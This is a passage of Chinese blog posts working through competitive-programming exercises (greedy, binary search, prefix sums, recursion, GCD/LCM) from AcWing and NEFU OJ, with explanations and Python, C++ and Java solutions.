3mean = s / n 4 5 6def std_dev(data, avg): 7 if len(data) == 0: 8 return 0.0000 9 sq_diff = [(x - avg) ** 2 for x in data] 10 var = sum(sq_diff) / len(data) 11 res = var**0.5 12 return res 13 14 15a.sort() 16paid = list() 17 18while n \u0026gt; 0: 19 avg = s / n 20 current = list(filter(lambda x: x \u0026lt;= avg, a[-n:])) 21 print(current) 22 if len(current) == 0: 23 paid.extend([avg] * n) 24 s -= sum(a[-n:]) 25 n = 0 26 else: 27 paid.extend(current) 28 s -= sum(current) 29 n -= len(current) 30 31print(paid) 32 33result = std_dev(paid, mean) 34print(f\u0026#34;{result:.4f}\u0026#34;) 这段代码是正确的但是没有 AC,又是浮点数存储格式的问题。输出 292984721.9100;标准答案 292984721.9099。\n1239. 乘积最大 | 原题链接 首先,深搜是绝对会超时的。\n做以下几个特判:\n当 k == n 时,全部数字都要选。 当 k == 1 时,选最大数。 当 nums 全部为负数时,将最大的 k 个数相乘。 完成上面这些特判之后,对 k 分情况讨论:\n当 k % 2 == 0 时,res 一定为正。从大到小选出偶数个正数,从小到大选出偶数个负数(即绝对值最大)相乘。 当 k % 2 != 0 时,先选出最大的最大的一个值,随后将剩下的值按照 k % 2 == 0 的情况处理。 选数的时候,选择最大两个数乘积和最小两个数乘积中更大的那个,以确保每次添加的乘积都是正数。\n1MOD = 1000000009 2 3 4def mod(x): 5 return x % MOD if x \u0026gt;= 0 else -(-x % MOD) 6 7 8max_value = float(\u0026#34;inf\u0026#34;) 9all_negative = True 10 11n, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 12nums = list() 13for _ in range(n): 14 nums.append(int(input().strip())) 15 if nums[-1] \u0026gt;= 0: 16 all_negative = False 17 if nums[-1] \u0026gt; max_value: 18 max_value = nums[-1] 19 20if k == 1: 21 print(mod(max_value)) 22 exit() 23 24if k == n: 25 res = 1 26 for i in nums: 27 res *= i 28 print(mod(res)) 29 exit() 30 31nums.sort() 32if all_negative and k % 2: 33 res = 1 34 for i in range(k): 35 res *= nums[n - i - 1] 36 print(mod(res)) 37 exit() 38 39 40lptr = 0 41rptr = n - 1 42res = 1 43if k % 2: 44 res *= nums[rptr] 45 rptr -= 1 46 k -= 1 47while k: 48 lv = nums[lptr] * nums[lptr + 1] 49 rv = nums[rptr] * nums[rptr - 1] 50 if lv \u0026gt; rv: 51 res *= lv 52 lptr += 2 53 else: 54 res *= rv 55 rptr -= 2 56 k -= 2 57 58print(mod(res)) 1247. 后缀表达式 | 原题链接 这道题的关键点在于后缀表达式。因为题目使用后缀表达式,结果就不是简单让最大的 n + 1 个数的和减去最小的 m 个数的和。例如使用 -1 -2 -3 4 + - - 能组成的结果最大的后缀表达式是 4 -3 -2 + - -1 -,转化为中缀表达式为 4-(-3+(-2))-1=10,而非 4+(-3)-(-2)-(-1)=4。因为使用后缀表达式,我们可以将其转化为 $a_1+a_2+\\cdots-(a_k+a_{k+1}-a_{k+2}-\\cdots)$。当减号的数量不为 0 时,我们可以通过将减号放进括号里来实现加法,将加号放进括号里来实现减法。通过此方法,当减号的数量不为 0 时,实际上可用的减号数量为 [1, m + n]。\n1n, m = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2nums = list(map(int, input().strip().split(\u0026#34; \u0026#34;))) 3 4if m == 0: 5 print(sum(nums)) 6 exit() 7 8nums.sort() 9 10if nums[0] \u0026gt;= 0: 11 print(sum(nums[1:]) - nums[0]) 12 exit() 13 14if nums[0] \u0026lt; 0 and nums[-1] \u0026gt;= 0: 15 print(sum(map(abs, nums))) 16 exit() 17 18if nums[-1] \u0026lt; 0: 19 print(nums[-1] - sum(nums[:-1])) 1248. 灵能传输 | 原题链接 好难的题 QAQ\n这道题的第一步是计算这一个数列的前缀和。令前缀和序列为 $s$,则当一次灵能传输在位置 $i$ 发生时,有 $a'{i-1}=a{i-1}+a{i},\\space a'i=-a_i,\\space a'{i+1}=a_i+a_{i+1}$,对于前缀和 $s$ 来讲则有 $s'{i-1}=s{i-1}+a_i=s_i,\\space s'i=s'{i-1}+a'i=s{i-1},\\space s'{i+1}=s'i+a'{i+1}=s{i+1}$。观察可发现,进行一次灵能传输实际上是交换前缀和数列中两个元素的位置。而题目要求的 $max^n_{i=1}|a_i|$ 可以表示为 $max^n_{i=1}|s_i-s_{i-1}|$。所以题目的实际意思是对 $s$ 做排序,使这种排序中 $max^n_{i=1}|s_i-s_{i-1}|$ 的值最小。\n然而坑就在这个地方。因为对数列 $a$ 的首尾元素直接做灵能传输操作为非法,所以 $s$ 中的首尾元素的位置是无法改变的。因此需要寻找的排序方法要在首尾元素不变的情况下满足要求。这个过程在这篇题解中有详细解释。\n1INF = float(\u0026#34;inf\u0026#34;) 2 3t = int(input().strip()) 4 5 6def check(s, n): 7 if s[0] \u0026gt; s[-1]: 8 s[0], s[-1] = s[-1], s[0] 9 front = s[0] 10 rear = s[-1] 11 s.sort() 12 front_index = s.index(front) 13 rear_index = s.index(rear) 14 15 sorted_s = [0] * n 16 sorted_s[0] = front 17 sorted_s[-1] = rear 18 19 lptr = 1 20 for i in range(front_index - 2, -1, -2): 21 sorted_s[lptr] = s[i] 22 s[i] = INF 23 lptr += 1 24 25 rptr = n - 2 26 for i in range(rear_index + 2, n, 2): 27 sorted_s[rptr] = s[i] 28 s[i] = INF 29 rptr -= 1 30 31 for i in range(n): 32 if s[i] != INF and i != front_index and i != rear_index: 33 sorted_s[lptr] = s[i] 34 lptr += 1 35 36 max_diff = 0 37 for i in range(n - 1): 38 max_diff = max(max_diff, abs(sorted_s[i] - sorted_s[i + 1])) 39 40 return max_diff 41 42 43for _ in range(t): 44 n = int(input().strip()) 45 a = tuple(map(int, input().strip().split(\u0026#34; \u0026#34;))) 46 s = [0] 47 for i in range(n): 48 s.append(a[i] + s[i]) 49 print(check(s, n + 1)) ","link":"https://jackgdn.github.io/post/algo-greedy/","section":"post","tags":["算法","贪心策略"],"title":"贪心策略练习"},{"body":"","link":"https://jackgdn.github.io/tags/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/","section":"tags","tags":null,"title":"二分查找"},{"body":"题目来自 AcWing 789. 数的范围 | 原题链接 这道题做法很多。\n使用双指针将每一段的信息存储到字典中:\n1n, q = map(int, input().strip().split(\u0026#34; \u0026#34;)) 2nums = tuple(map(int, input().strip().split(\u0026#34; \u0026#34;))) 3d = dict() 4l = len(nums) 5 6front = 0 7rear = 0 8while front \u0026lt; l: 9 if nums[front] != nums[rear]: 10 d[nums[rear]] = (rear, front - 1) 11 rear = front 12 front += 1 13 14d[nums[rear]] = (rear, front - 1) 15 16result = list() 17for _ in range(q): 18 k = int(input().strip()) 19 a, b = d.get(k, (-1, -1)) 20 print(a, b) 二分查找段首和段尾:\n1n, q = map(int, input().split(\u0026#34; \u0026#34;)) 2nums = tuple(map(int, input().split(\u0026#34; \u0026#34;))) 3 4for _ in range(q): 5 k = int(input()) 6 L = 0 7 R = n - 1 8 while L != R: 9 mid = (L + R) // 2 10 if nums[mid] \u0026lt; k: 11 L = mid + 1 12 else: 13 R = mid 14 if nums[R] != k: 15 print(\u0026#34;-1 -1\u0026#34;) 16 continue 17 a = R 18 19 L = 0 20 R = n - 1 21 while L != R: 22 mid = (L + R) // 2 + 1 23 if nums[mid] \u0026lt;= k: 24 L = mid 25 else: 26 R = mid - 1 27 b = L 28 print(a, b) 注意当查找段首和段尾时,左右指针的变换规则不同。\n790. 数的三次方根 | 原题链接 暴力解法:\n1n = float(input()) 2if n \u0026gt;= 0: 3 print(f\u0026#34;{n ** (1 / 3):.6f}\u0026#34;) 4else: 5 k = (-n) ** (1 / 3) 6 print(f\u0026#34;{-k:.6f}\u0026#34;) 当 n 是负数时,开三次方跟会开出来复数,所以要特判。\n二分查找:\n1n = float(input()) 2 3L = -10000.0 4R = 10000.0 5 6while R - L \u0026gt;= 1e-7: 7 mid = (L + R) / 2 8 k = mid ** 3 9 if k \u0026gt; n: 10 R = mid 11 elif k \u0026lt; n: 12 L = mid 13 else: 14 break 15 16print(f\u0026#34;{mid - 1e-7:.6f}\u0026#34;) 二分查找的速度比硬算快,但是最后要减去 1e-7 才能 AC,原理不清楚,可能与 Python 保留精度的机制有关。\n另外,无论是 f-string,format 函数还是 round 函数,其保留精度都是通过四舍五入完成的,f-string 与 format 函数会保留末位 0 而 round 函数不会。\n795. 前缀和 | 原题链接 利用前缀和解决即可\n1n, q = map(int, input().split(\u0026#34; \u0026#34;)) 2nums = (0,) + tuple(map(int, input().split(\u0026#34; \u0026#34;))) 3 4pref = [0] 5for i in range(1, n + 1): 6 pref.append(pref[i - 1] + nums[i]) 7 8for _ in range(q): 9 l, r = map(int, input().split(\u0026#34; \u0026#34;)) 10 print(pref[r] - pref[l - 1]) 796. 子矩阵的和 | 原题链接 前缀和二维版。利用容斥原理,使用已知的前缀和来计算当前前缀和,即 pref[i][j] = pref[i][j - 1] + matrix[i][j] + pref[i - 1][j] - pref[i - 1][j - 1]。\n1n, m, q = map(int, input().split()) 2matrix = [[0] * (m + 1)] 3for _ in range(n): 4 row = [0] + list(map(int, input().split())) 5 matrix.append(row) 6 7pref = [[0 for _ in range(m + 1)] for _ in range(n + 1)] 8for i in range(1, n + 1): 9 for j in range(1, m + 1): 10 pref[i][j] = pref[i][j - 1] + matrix[i][j] + pref[i - 1][j] - pref[i - 1][j - 1] 11 12for _ in range(q): 13 x1, y1, x2, y2 = map(int, input().split()) 14 print(pref[x2][y2] - pref[x1 - 1][y2] - pref[x2][y1 - 1] + pref[x1 - 1][y1 - 1]) 730. 机器人跳跃问题 | 原题链接 这道题可以使用二分查找解决。当机器人的初始能量与最高塔高相同时,机器人保证能通过。因此在这个范围内查找机器人能够通过与不能通过的分界点。使用二分查找可以将时间复杂度从 O(n) 降低至 O(logn)。\n1n = int(input()) 2nums = tuple(map(int, input().split(\u0026#34; \u0026#34;))) 3 4 5def simulate(nums, n, e): 6 for i in range(n): 7 if e \u0026lt; 0: 8 return False 9 10 if e \u0026lt; nums[i]: 11 e -= nums[i] - e 12 else: 13 e += e - nums[i] 14 if e \u0026gt;= 0: 15 return True 16 else: 17 return False 18 19 20L = 0 21R = max(nums) 22result = R 23 24while L \u0026lt; R: 25 mid = (L + R) // 2 26 if simulate(nums, n, mid): 27 result = mid 28 R = mid 29 else: 30 L = mid + 1 31 32print(result) 1221. 四平方和 | 原题链接 逐层遍历四个数肯定是要超时的,因此需要想其他办法解决。观察等式 $n=a^2+b^2+c^2+d^2$,可以将四个自变量两两分组,得到 $n-(c^2+d^2)=a^2+b^2$。只需要从 0 开始遍历 c 与 d,随后将所有可能的 $c^2+d^2$ 的值存储起来,然后在存储的值中查找是否有满足条件的平方和即可。这个思路相当于在遍历 c 与 d 时,同时遍历了 a 与 b 可能的结果,因此将时间复杂度从 O(n⁴) 降低到 O(n²)。\n1n = int(input()) 2sqrtn = int(n**0.5) + 1 3 4record = dict() 5 6for c in range(0, sqrtn): 7 for d in range(c, sqrtn): 8 sum_cd = c**2 + d**2 9 if sum_cd \u0026gt; n: 10 break 11 if not record.get(sum_cd, False): 12 record[sum_cd] = (c, d) 13 14for sum_cd in record.keys(): 15 if record.get(n - sum_cd, False): 16 a, b = record[n - sum_cd] 17 c, d = record[sum_cd] 18 print(*sorted((a, b, c, d))) 19 exit() 至于为什么 record 中只存储使 c d 满足 $c^2+d^2=m,m\\leq n$ 的第一组数,是因为第一次出现这样的 c d 时,其联合主键一定是字典序最小的。另外根据 Python3 中字典键顺序为插入顺序的特性,record 中键的顺序又是其值(即 a b 或 c d 组成的有序数对)作为联合主键的字典序,因此在最后遍历字典时,能够保证 $c\\geq a,d\\geq b$。\n1227. 分巧克力 | 原题链接 还是使用二分查找来解决,这道题属于查找左侧段的右边界。这道题的坑在于,并不是每一块巧克力都会被切开分出去,所以 R 的初始值应该是所有边长的最大值而非最小值。\n1n, k = map(int, input().split(\u0026#34; \u0026#34;)) 2chocolates = list() 3R = float(\u0026#34;-inf\u0026#34;) 4for _ in range(n): 5 choco = tuple(map(int, input().split(\u0026#34; \u0026#34;))) 6 chocolates.append(choco) 7 R = max(R, max(choco)) 8 9 10def check(chocolates, d, k): 11 count = 0 12 for x, y in chocolates: 13 count += (x // d) * (y // d) 14 return count \u0026gt;= k 15 16 17L = 1 18d = 1 19while L != R: 20 mid = (L + R) // 2 + 1 21 if check(chocolates, mid, k): 22 d = mid 23 L = mid 24 else: 25 R = mid - 1 26 27print(d) 99. 激光炸弹 | 原题链接 二维前缀和。注意一枚炸弹的半径可能能够将全部目标摧毁,所以要依据 x y r 的关系分情况讨论。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;algorithm\u0026gt; 4#include \u0026lt;cstdio\u0026gt; 5 6using namespace std; 7 8int targets[5005][5005] = { 0 }; 9 10int main() { 11 int n, r; 12 int xi, yi, wi; 13 int max_x = 0, max_y = 0; 14 scanf(\u0026#34;%d%d\u0026#34;, \u0026amp;n, \u0026amp;r); 15 for (int i = 1; i \u0026lt;= n; i++) { 16 scanf(\u0026#34;%d%d%d\u0026#34;, \u0026amp;xi, \u0026amp;yi, \u0026amp;wi); 17 xi++; 18 yi++; 19 max_x = max(max_x, xi); 20 max_y = max(max_y, yi); 21 targets[xi][yi] += wi; 22 } 23 24 int max_w = 0; 25 for (int x = 1; x \u0026lt;= max_x; x++) { 26 for (int y = 1; y \u0026lt;= max_y; y++) { 27 targets[x][y] = targets[x - 1][y] + targets[x][y - 1] - targets[x - 1][y - 1] + targets[x][y]; 28 if (x \u0026gt;= r \u0026amp;\u0026amp; y \u0026gt;= r) { 29 max_w = max(max_w, targets[x][y] - targets[x - r][y] - targets[x][y - r] + targets[x - r][y - r]); 30 } 31 else if (x \u0026gt;= r \u0026amp;\u0026amp; y \u0026lt; r) { 32 max_w = max(max_w, targets[x][y] - targets[x - r][y]); 33 } 34 else if (x \u0026lt; r \u0026amp;\u0026amp; y \u0026gt;= r) { 35 max_w = max(max_w, targets[x][y] - targets[x][y - r]); 36 } 37 else { 38 max_w = max(max_w, targets[x][y]); 39 } 40 } 41 } 42 43 printf(\u0026#34;%d\\n\u0026#34;, max_w); 44 return 0; 45} 直接在原矩阵中生成前缀和矩阵,否则会 MLE。Python 无论如何也过不了,而且问题似乎出在平台。\n好吧,Python 和 Python3 是两种不同的测试环境……是我的问题。\n1targets = [[0 for _ in range(5005)] for _ in range(5005)] 2n, r = map(int, input().split(\u0026#34; \u0026#34;)) 3 4max_x, max_y = 0, 0 5for _ in range(n): 6 x, y, w = map(int, input().split(\u0026#34; \u0026#34;)) 7 x += 1 8 y += 1 9 max_x = max(max_x, x) 10 max_y = max(max_y, y) 11 targets[x][y] += w 12 13max_w = 0 14for x in range(1, max_x + 1): 15 for y in range(1, max_y + 1): 16 targets[x][y] += targets[x - 1][y] + targets[x][y - 1] - targets[x - 1][y - 1] 17 if x \u0026gt;= r and y \u0026gt;= r: 18 max_w = max( 19 max_w, 20 targets[x][y] 21 - targets[x - r][y] 22 - targets[x][y - r] 23 + targets[x - r][y - r], 24 ) 25 elif x \u0026gt;= r and y \u0026lt; r: 26 max_w = max(max_w, targets[x][y] - targets[x - r][y]) 27 elif x \u0026lt; r and y \u0026gt;= r: 28 max_w = max(max_w, targets[x][y] - targets[x][y - r]) 29 else: 30 max_w = max(max_w, targets[x][y]) 31 32print(max_w) 1230. K倍区间 | 原题链接 依然使用前缀和解决。题目要求在前缀和数组中找出所有差能够整除 k 的数对的数量,如果使用两层循环,则一定会超时,因此使用数学方法优化。假设存在两数 $i,j,(i\u0026lt;j)$ 使得 $(j-i)\\space mod\\space k=0$,变换后得到 $i\\equiv j\\space (mod\\space k)$。因此可以创建一个字典用于存储同余类,然后遍历字典得到所有组合。\n1n, k = map(int, input().split(\u0026#34; \u0026#34;)) 2pref = [0] 3record = {0: [0]} 4for _ in range(n): 5 num = int(input()) 6 pref.append(num + pref[-1]) 7 r = record.get(pref[-1] % k, list()) 8 r.append(pref[-1]) 9 record[pref[-1] % k] = r 10 11count = 0 12for k in record.keys(): 13 if len(record[k]) \u0026gt;= 2: 14 count += len(record[k]) * (len(record[k]) - 1) // 2 15 16print(count) ","link":"https://jackgdn.github.io/post/algo-binarysearch+prefixsum/","section":"post","tags":["算法","二分查找","前缀和"],"title":"二分查找与前缀和练习"},{"body":"","link":"https://jackgdn.github.io/tags/%E5%89%8D%E7%BC%80%E5%92%8C/","section":"tags","tags":null,"title":"前缀和"},{"body":"","link":"https://jackgdn.github.io/tags/bfs/","section":"tags","tags":null,"title":"Bfs"},{"body":"","link":"https://jackgdn.github.io/tags/%E9%80%92%E5%BD%92/","section":"tags","tags":null,"title":"递归"},{"body":"题目来自 AcWing 92. 递归实现指数型枚举 | 原题链接 使用 AcWing 上的挑战模式做题,所以码风看上去比较乱。\n1n = int(input()) 2nums = list(range(1, n + 1)) 3 4def dfs(current, nums): 5 if len(nums) == 0: 6 print(\u0026#34; \u0026#34;.join(current)) 7 return 8 9 dfs(current, nums[1:]) 10 dfs(current + [str(nums[0])], nums[1:]) 11 12dfs(list(), nums) 94. 递归实现排列型枚举 | 原题链接 全排列,一般做法:\n1n = int(input()) 2nums = {k: True for k in range(1, n + 1)} 3result = list() 4 5def dfs(current): 6 if not any(nums.values()): 7 result.append(\u0026#34; \u0026#34;.join(current)) 8 return 9 10 for i in nums.keys(): 11 if nums[i]: 12 current.append(str(i)) 13 nums[i] = False 14 dfs(current) 15 current.pop() 16 nums[i] = True 17 18dfs(list()) 19result.sort() 20print(*result, sep=\u0026#34;\\n\u0026#34;) Python 取巧做法:\n1from itertools import permutations 2 3n = int(input()) 4perm = permutations(range(1, n + 1)) 5perm = map(lambda x: \u0026#34; \u0026#34;.join(map(str, x)), perm) 6print(*sorted(perm), sep=\u0026#34;\\n\u0026#34;) 717. 简单斐波那契 | 原题链接 1n = int(input()) 2 3if n == 1: 4 print(0) 5 exit(0) 6 7if n == 2: 8 print(1) 9 exit(0) 10 11fib = [0, 1] 12i = 2 13while i \u0026lt; n: 14 fib.append(fib[i - 1] + fib[i - 2]) 15 i += 1 16 17print(\u0026#34; \u0026#34;.join(map(str, fib))) 95. 费解的开关 | 原题链接 这道题有点难住我了,最开始尝试广搜结果超时,深搜也超时,所以看了题解。题解中用的是模拟+递推的思想。 第一行的五个开关按与不按一共有 $2^5$ 种情况,对于每一种情况,都假设第一行开关的状态已经确定,如果此时要改变第一行灯的状态,则去按第二行的开关;当通过按第二行的开关将第一行的灯都打开后,第二行开关的状态已经确定,如果还需要更改第二行的灯的状态则去第三行……依此类推,直到第四行灯都打开而第五行开关状态确定时,检测第五行的灯是否全亮以及步数是否超过限制即可。\n1def toggle(field, x, y): 2 field[x][y] = not field[x][y] 3 for dx, dy in ((1, 0), (-1, 0), (0, 1), (0, -1)): 4 nx, ny = x + dx, y + dy 5 if 0 \u0026lt;= nx \u0026lt; 5 and 0 \u0026lt;= ny \u0026lt; 5: 6 field[nx][ny] = not field[nx][ny] 7 8 9n = int(input()) 10for i in range(n): 11 field = list() 12 for _ in range(5): 13 row = list(map(lambda x: bool(int(x)), list(input().strip()))) 14 field.append(row) 15 if i != n - 1: 16 input() 17 18 result = set() 19 for j in range(0, 32): 20 step = 0 21 new_field = [row[:] for row in field] 22 status = bin(j)[2:].rjust(5, \u0026#34;0\u0026#34;) 23 for s in range(5): 24 if status[s] == \u0026#34;1\u0026#34;: 25 toggle(new_field, 0, s) 26 step += 1 27 for x in range(1, 5): 28 for y in range(5): 29 if not new_field[x - 1][y]: 30 toggle(new_field, x, y) 31 step += 1 32 if step \u0026lt;= 6 and all(new_field[4]): 33 result.add(step) 34 if len(result) == 0: 35 print(-1) 36 else: 37 print(min(result)) 93. 递归实现组合型枚举 | 原题链接 搜索与回溯解法:\n1def dfs(current, depth, k, nums): 2 if depth == k: 3 print(\u0026#34; \u0026#34;.join(current)) 4 return 5 6 for i in range(len(nums)): 7 current.append(str(nums[i])) 8 dfs(current, depth + 1, k, nums[i + 1:]) 9 current.pop() 10 11 return 12 13n, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 14nums = list(range(1, n + 1)) 15dfs(list(), 0, k, nums) itertools.combinations 写法:\n1from itertools import combinations 2 3n, k = map(int, input().strip().split(\u0026#34; \u0026#34;)) 4comb = combinations(range(1, n + 1), k) 5for c in comb: 6 print(\u0026#34; \u0026#34;.join(map(str, c))) 1209. 带分数 | 原题链接 这道题大致的思路就是枚举 $a\\space b\\space c$ 的值,然后验证方程 $n=a+\\frac bc$ 是否成立。对于这个题可以做如下优化:根据方程知道 $a\u0026lt;n$,所以枚举 $a$ 时,只需在位数小于等于 $n$ 的数字中枚举,且只有 $a\u0026lt;n$ 时才继续枚举另外两个变量;对原方程作变换后得到 $b=c\\cdot(n-a)$,这样可以通过枚举 $a\\space c$ 计算出 $b$,然后判断 $b$ 是否是由剩下的数字组合而成,而不需要再去枚举 $b$ 的值。\n使用 Python 解决问题时,为了方便,使用 itertools 中的 combinations 与 permutations 函数。在枚举 $a\\space c$ 时,首先确定位数,随后用 permutations 函数筛选出指定位数的各种组合,最后使用 combinations 函数生成对应的全排列,将每一种排列连接成数即是要枚举的数。\n1from itertools import permutations, combinations 2 3 4n = input() 5length = len(n) 6n = int(n) 7nums = list(range(1, 10)) 8count = 0 9 10 11def get_c(a, rest): 12 for i in range(1, len(rest) - 1): 13 perm_c = permutations(rest, i) 14 for p in perm_c: 15 comb_c = combinations(p, i) 16 for comb in comb_c: 17 c = int(\u0026#34;\u0026#34;.join(map(str, comb))) 18 b = n * c - a * c 19 b_rest = set(rest) - set(comb) 20 if len(str(b)) != len(b_rest): 21 continue 22 b_set = set(map(int, list(str(b)))) 23 if b_rest == b_set: 24 global count 25 count += 1 26 27 28for i in range(1, length + 1): 29 perm_a = permutations(nums, i) 30 for p in perm_a: 31 comb_a = combinations(p, i) 32 for c in comb_a: 33 a = int(\u0026#34;\u0026#34;.join(map(str, c))) 34 if a \u0026lt; n: 35 rest = list(set(nums) - set(c)) 36 get_c(a, rest) 37 38 39print(count) 116. 飞行员兄弟 | 原题链接 题目类似于费解的开关,想不到递推或者递归的写法,但是用广搜可以 AC。 因为最优解中肯定没有重复使用的开关,而且解与路径无关,因此给 16 个开关按照 0-15 编号,当一个开关被操作后,下一次操作只能在这个编号大于这个开关的开关中完成。\n1from collections import deque 2 3 4def toggle(field, x, y): 5 new_field = [row[:] for row in field] 6 for i in range(4): 7 new_field[x][i] = not field[x][i] 8 new_field[i][y] = not field[i][y] 9 new_field[x][y] = not field[x][y] 10 return new_field 11 12 13field = list() 14for _ in range(4): 15 row = [True if s == \u0026#34;-\u0026#34; else False for s in input().strip()] 16 field.append(row) 17 18queue = deque() 19step = list() 20queue.append((field, step)) 21 22while queue: 23 field, step = queue.popleft() 24 if all([all(s) for s in field]): 25 print(len(step)) 26 for s in step: 27 print(\u0026#34; \u0026#34;.join(map(lambda x: str(x + 1), s))) 28 exit() 29 30 if not step: 31 last_x, last_y = (0, -1) 32 else: 33 last_x, last_y = step[-1] 34 for i in range(last_x * 4 + last_y + 1, 16): 35 curr_x = i // 4 36 curr_y = i % 4 37 new_field = toggle(field, curr_x, curr_y) 38 new_step = step[:] 39 new_step.append((curr_x, curr_y)) 40 queue.append((new_field, new_step)) 1208. 翻硬币 | 原题链接 1toggle = {\u0026#34;o\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;*\u0026#34;: \u0026#34;o\u0026#34;} 2 3init = list(input().strip()) 4dest = list(input().strip()) 5 6if init == dest: 7 print(0) 8 exit() 9 10length = len(init) 11step = 0 12 13for i in range(length - 1): 14 if init[i] != dest[i]: 15 init[i] = toggle[init[i]] 16 init[i + 1] = toggle[init[i + 1]] 17 step += 1 18 19print(step) ","link":"https://jackgdn.github.io/post/algo-recursion+iteration/","section":"post","tags":["算法","递归","递推","dfs","bfs"],"title":"递归与递推练习"},{"body":"","link":"https://jackgdn.github.io/tags/%E9%80%92%E6%8E%A8/","section":"tags","tags":null,"title":"递推"},{"body":"习题均来自 NEFU OJ Problem 1077 | 最大公约数和最小公倍数 Description 请计算2个数的最大公约数和最小公倍数;(最大公约数可以使用辗转相除法,最小公倍数=2个数的乘积/它们的最大公约数;)\nInput 输入数据有多组,每组2个正整数a,b(2\u0026lt;a,b\u0026lt;1000)\nOutput 在一行内输出a和b的最大公约数和最小公倍数;\nSample Input 115 10 Sample Output 15 30 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 while (scanner.hasNextInt()) { 7 int a = scanner.nextInt(); 8 int b = scanner.nextInt(); 9 int d = gcd(a, b); 10 int m = a * b / d; 11 System.out.println(String.format(\u0026#34;%d %d\u0026#34;, d, m)); 12 } 13 scanner.close(); 14 } 15 16 public static int gcd(int a, int b) { 17 return b == 0 ? a : gcd(b, a % b); 18 } 19} Problem 992 | 又见 GCD Description 有三个正整数a,b,c(0\u0026lt;a,b,c\u0026lt;10^6),其中c不等于b。若a和c的最大公约数为b,现已知a和b,求满足条件的最小的c。\nInput 每行输入两个正整数a,b。\nOutput 输出对应的c,每组测试数据占一行\nSample Input 16 2 212 4 Sample Output 14 28 已知 $GCD(a,c)=b$ 且 $b\\neq c$,求满足条件的最小 c。根据性质知道 $c=b\\cdot p$,其中 $p\\nmid a\\div b$ 且 $p\\in\\mathbb{P}$。只需遍历 p 即可。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int[] prime = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29 }; 6 try (Scanner scanner = new Scanner(System.in)) { 7 int a, b, i; 8 while (scanner.hasNextInt()) { 9 a = scanner.nextInt(); 10 b = scanner.nextInt(); 11 a /= b; 12 13 for (i = 0; i \u0026lt; 10; i++) { 14 if (a % prime[i] != 0) { 15 System.out.println(b * prime[i]); 16 break; 17 } 18 } 19 } 20 } 21 } 22} Problem 764 | 多个数的最大公约数 Description 给定n(n\u0026lt;=10)个正整数,你的任务就是求它们的最大公约数,所有数据的范围均在long long内。\nInput 输入数据有多组,每组2行,第一行为n,表示要输入数字的个数,接下来第二行有n个正整数。\nOutput 输出一个数,即这n个数的最大公约数。\nSample Input 15 22 4 6 8 10 32 413 26 Sample Output 12 213 先求前两数的 gcd,再用每次求出的 gcd 依次和下一个数求 gcd。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n, a, b; 6 try (Scanner sc = new Scanner(System.in)) { 7 while (sc.hasNextInt()) { 8 n = sc.nextInt(); 9 a = sc.nextInt(); 10 11 for (int i = 1; i \u0026lt; n; i++) { 12 b = sc.nextInt(); 13 a = gcd(a, b); 14 } 15 16 System.out.println(a); 17 } 18 } 19 } 20 21 public static int gcd(int a, int b) { 22 return b == 0 ? a : gcd(b, a % b); 23 } 24} Problem 765 | 多个数的最小公倍数 Description 给定n(n\u0026lt;=10)个正整数,你的任务就是求它们的最小公倍数,所有数据的范围均在long long内。\nInput 输入数据有多组,每组2行,第一行为n,表示要输入数字的个数,接下来第二行有n个正整数。\nOutput 输出一个数,即这n个数的最小公倍数。\nSample Input 15 22 4 6 8 10 32 413 26 Sample Output 1120 226 依次将当前两数的最大公倍数和下一个数计算最大公倍数即可。\n1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n, a, b, d, m; 6 try (Scanner sc = new Scanner(System.in)) { 7 while (sc.hasNextInt()) { 8 n = sc.nextInt(); 9 a = sc.nextInt(); 10 d = a; 11 m = a; 12 13 for (int i = 1; i \u0026lt; n; i++) { 14 b = sc.nextInt(); 15 d = gcd(m, b); 16 m *= b / d; 17 } 18 19 System.out.println(m); 20 } 21 } 22 } 23 24 public static int gcd(int a, int b) { 25 return b == 0 ? a : gcd(b, a % b); 26 } 27} 注意\n$LCM(a_1,a_2,\\cdots,a_n)$ 与 $\\frac{\\prod_{i=1}^na_i}{GCD(a_1,a_2\\cdots,a_n)^n}$ 不一定相等。\nProblem 1411 | LCM\u0026amp;GCD Description jwGG最近沉迷于数论,他最近在研究最小公倍数和最大公约数,他的队友yzMM正好对数论也有些研究,于是yzMM给jwGG出了一个简单的数论题:在[x,y]区间中,求两个整数最大公约数是x且最小公倍数是y的个数。\nyzMM善意地提醒,x和y可能到1e12那么大,jwGG这下可犯了难,这到底该怎么做呢?聪明的你能帮帮他吗?\nInput 第一行输入一个T(T\u0026lt;=100),表示有T组数据,接下来每组输入两个数x,y(1\u0026lt;=x\u0026lt;=y\u0026lt;=1e12)(含义如题)\nOutput 输出一行表示答案。\nSample Input 11 22 12 Sample Output 14 Hint (2,12) (4,6) (6,4) (12,2)\nSource ITAK 2020.1.28 数据已加强\n根据性质,$GCD(a,b)\\cdot LCM(a,b)=a\\cdot b$。因此将 x 与 y 相乘并分解质因数,随后在其因数中遍历(深搜)找到符合条件的 a 与 b。注意两种特判,一种是当 x 与 y 相等时解唯一,一种是当 $x\\nmid y$ 时无解。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;map\u0026gt; 5#include \u0026lt;cmath\u0026gt; 6 7#define ll long long 8 9using namespace std; 10 11int ans; 12ll x, y, mul; 13 14ll gcd(ll a, ll b) { 15 return b == 0 ? a : gcd(b, a % b); 16} 17 18void dfs(map\u0026lt;ll, ll\u0026gt;\u0026amp; factors, int k, int l, ll cur) { 19 if (k == l) { 20 ll t = mul / cur; 21 if (t \u0026gt;= x \u0026amp;\u0026amp; t \u0026lt;= y \u0026amp;\u0026amp; cur \u0026gt;= x \u0026amp;\u0026amp; cur \u0026lt;= y \u0026amp;\u0026amp; t % cur != 0 \u0026amp;\u0026amp; cur % t != 0 \u0026amp;\u0026amp; gcd(t, cur) == x) { 22 ans++; 23 